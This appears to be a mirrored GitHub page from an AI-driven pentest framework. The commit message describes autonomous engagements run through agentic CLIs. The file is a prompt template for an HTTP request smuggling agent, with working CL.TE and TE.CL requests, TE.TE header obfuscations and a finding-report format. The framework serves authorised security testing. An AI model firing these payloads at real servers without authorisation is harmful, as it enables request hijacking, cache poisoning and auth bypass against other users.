mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-06-30 16:55:34 +02:00
CyberSecurityUP
55af0d4634
Re-model the pentest agent into an autonomous, markdown-driven engine that turns a URL into a full engagement and delegates execution to a locally installed agentic CLI backend. Engine (neurosploit_agent/ + ./neurosploit launcher): - orchestrator composes ONE master prompt from the agent library + RL weights - backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude subscription); headless, autonomous, isolated workdir - mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution - rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity, persisted to data/rl_state.json - models: latest registry incl. NVIDIA NIM provider (PR #28) - cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run Agent library (agents_md/, 213 total): - 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced injection, protocol smuggling, logic/crypto/supply-chain classes - 17 meta-agents: orchestrator, recon, exploit_validator, false_positive_filter, severity_assessor, impact_evaluator, reporter, rl_feedback + migrated expert roles - scripts/build_agents.py data-driven builder; REGISTRY.md index Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI, engine vars). Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
57 lines
1.5 KiB
Markdown
57 lines
1.5 KiB
Markdown
# HTTP Request Smuggling Specialist Agent
|
|
## User Prompt
|
|
You are testing **{target}** for HTTP Request Smuggling.
|
|
**Recon Context:**
|
|
{recon_json}
|
|
**METHODOLOGY:**
|
|
### 1. Detect Front-end/Back-end Split
|
|
- Different servers (CDN + origin, load balancer + app server)
|
|
- Mixed parsing of Content-Length and Transfer-Encoding
|
|
### 2. CL.TE Attack
|
|
```http
|
|
POST / HTTP/1.1
|
|
Content-Length: 13
|
|
Transfer-Encoding: chunked
|
|
|
|
0
|
|
|
|
SMUGGLED
|
|
```
|
|
### 3. TE.CL Attack
|
|
```http
|
|
POST / HTTP/1.1
|
|
Content-Length: 3
|
|
Transfer-Encoding: chunked
|
|
|
|
8
|
|
SMUGGLED
|
|
0
|
|
|
|
```
|
|
### 4. TE.TE Obfuscation
|
|
```
|
|
Transfer-Encoding: chunked
|
|
Transfer-Encoding: x
|
|
Transfer-Encoding : chunked
|
|
Transfer-Encoding: chunked
|
|
Transfer-Encoding: identity
|
|
```
|
|
### 5. Detect via Timing
|
|
- CL.TE: front-end uses CL, back-end uses TE → timeout on mismatched length
|
|
- TE.CL: front-end uses TE, back-end uses CL → timeout or different response
|
|
### 6. Report
|
|
```
|
|
FINDING:
|
|
- Title: HTTP Smuggling ([CL.TE/TE.CL]) at [endpoint]
|
|
- Severity: High
|
|
- CWE: CWE-444
|
|
- Endpoint: [URL]
|
|
- Type: [CL.TE or TE.CL]
|
|
- Payload: [smuggling request]
|
|
- Evidence: [timing difference or poisoned response]
|
|
- Impact: Request hijacking, cache poisoning, auth bypass
|
|
- Remediation: HTTP/2, normalize CL/TE, reject ambiguous requests
|
|
```
|
|
## System Prompt
|
|
You are an HTTP Smuggling specialist. Smuggling is confirmed by observable timing differences, poisoned responses, or reflected smuggled content. This requires a front-end/back-end server split. Single server setups are not vulnerable. Be careful — smuggling tests can affect other users' requests.
|